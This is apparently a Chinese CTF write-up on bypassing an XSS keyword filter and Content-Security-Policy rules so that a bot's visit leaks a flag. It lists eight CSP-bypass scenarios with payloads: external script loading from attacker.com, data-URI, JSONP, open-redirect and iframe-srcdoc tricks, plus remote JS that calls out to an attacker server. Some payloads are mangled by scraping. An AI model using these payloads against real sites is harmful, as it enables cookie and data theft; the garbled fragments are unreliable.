从一到题简单理解csp
从发的wp来看,主要就是一个xss的绕过的问题,没啥东西
题目
app.py
1 | #!/usr/bin/env python |
utf.py
1 | #!/usr/bin/env python3 |
visit.py
1 | #!/usr/bin/env python |
关键html-note
1 |
|
题目的逻辑就是通过xss触发类似机器人的自动访问
因为url可控,可以带出flag
因为这里需要带出flag,所以这里应该是需要出网的
过滤
关于xss的过滤
1 | pattern = re.compile(r'''<script>|<\/script>|on|func|javascript|flag|127\.|var|\'|\"|fetch|eval|\$|ajax|token''', re.I) |
第一点针对script标签的过滤,由于过滤的试完整的标签
所以可以通过加空格绕过
1 | <script >aaaa</script > |
或者
1 | <script id=1>aaaa</script id=2> |
这样下来其实就可以纯xss就完成这操作了
1 | <script id=1> |
思考
如果想加载一个外部的js文件来执行呢
由于害过滤了单双引号,这里可以不用或者使用反引号
1 | <script src=http://xxx.x.xx.xx/a.js>aaa</script > |
这时就会遇到一个问题就是
在note.html的meta头中使用了csp策略
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; "> |
未配置script-src所以会用默认的default-src
- unsafe-inline:允许内联样式
- unsafe-eval:允许eval
不在过多描述
具体可参考:内容安全政策
绕过
在某些场景下,可以针对csp不检测重定向的特点,加载重定向的源
从其他地方看了一些方法
接下来就看看几个CSP配置场景,如何绕过。
场景1:
1 | Content-Security-Policy: script-src https://sina.comhttps://baidu.com'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url; |
通过观察策略配置不难发现,在script-src指令中允许不安全的内联资源,那么可以通过引入内联脚本达到执行命令的目的:
1 | payload: "/><script>alert(xss);</script> |
场景2:
1 | Content-Security-Policy: script-src https://sina.comhttps://baidu.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url; |
这个配置则是错误的使用了unsafe-eval指令值,由于使用了data配置,不能直接使用script脚本,可通过base64进行编码,可构造以下payload:
1 | <script src="https://www.freebuf.com/articles/web/data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script> |
场景3 :
1 | Content-Security-Policy: script-src 'self' https://sina.com https://baidu.com https: data *; child-src 'none'; report-uri /Report-parsing-url; |
这个配置在script-src指令中错误的使用了通配符,可以构造以下payload:
1 | working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=https://www.freebuf.com/articles/web/data:text/javascript,alert(1337)></script> |
场景4:
1 | Content-Security-Policy:script-src 'self' report-uri /Report-parsing-url; |
这个配置中缺少了default-src和object-src配置,那么可以构造以下payload:
1 | working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> |
场景5:
1 | Content-Security-Policy: script-src 'self' https://www.baidu.comobject-src 'none'; report-uri: /Report-parsing-uri; |
这个配置场景中,script-src被设置为self并且加了白名单配置,可以使用jsonp绕过。Jsonp允许不安全的回调方法从而允许攻击者执行xss,payload如下:
1 | :"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> |
场景6:
1 | Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none'; report-uri /Report-parsing-url; |
如果应用使用angular并且脚本都是从一个白名单域中加载的,通过调用回调函数或者有漏洞的类从而绕过CSP策略,详细的细节可以参考:
https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:"Sh*t, -it's-CSP!"
Payload如下:
1 | ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> |
场景7:
1 | Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url; |
在上面的配置场景中,通过script-src定义了两个可以加载js脚本的白名单域。如果白名单域中任何一个域有开放的跳转链接那么CSP可以被绕过,攻击者可以构造payload使用该跳转链接跳转到另外一个支持jsonp调用的白名单域中,这种场景中,因为CSP只会检查域名host是否合法,不会检查路径参数,从而导致XSS被执行,payload如下:
1 | ">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>"> |
场景8:
1 | Content-Security-Policy: default-src 'self' data:*; connect-src 'self'; script-src 'self'; report-uri /_csp; upgrade-insecure-requests; |
该场景下的CSP能够通过使用iframes绕过,前提是应用允许加载来自白名单域的iframes,满足前提的情况下,那么可以通过使用iframe的一个特殊属性srcdoc来执行XSS,payload如下:
1 | <iframe srcdoc='<script src="https://www.freebuf.com/articles/web/data:text/javascript,alert(document.domain)"></script>'></iframe> |
文章出处:原文章
回到题目
设置了unsafe-inline
,可以执行script中的代码
不妨写段代码,测试一下
1 | <!DOCTYPE html> |
测试加载远程文件
从网上找到一个payload,发现用了onload,会被拦截
1 | f=document.createElement("iframe"); |
还有一个payload
1 | <script > |
发现这里用了fun字符串,但其实可以删掉
1 | <script > |
可以看到成功加载了
测试被加载的js是否被执行
python模拟开启一个http服务,编写js,访问9999端口
1 | var xhr = null; |
成功执行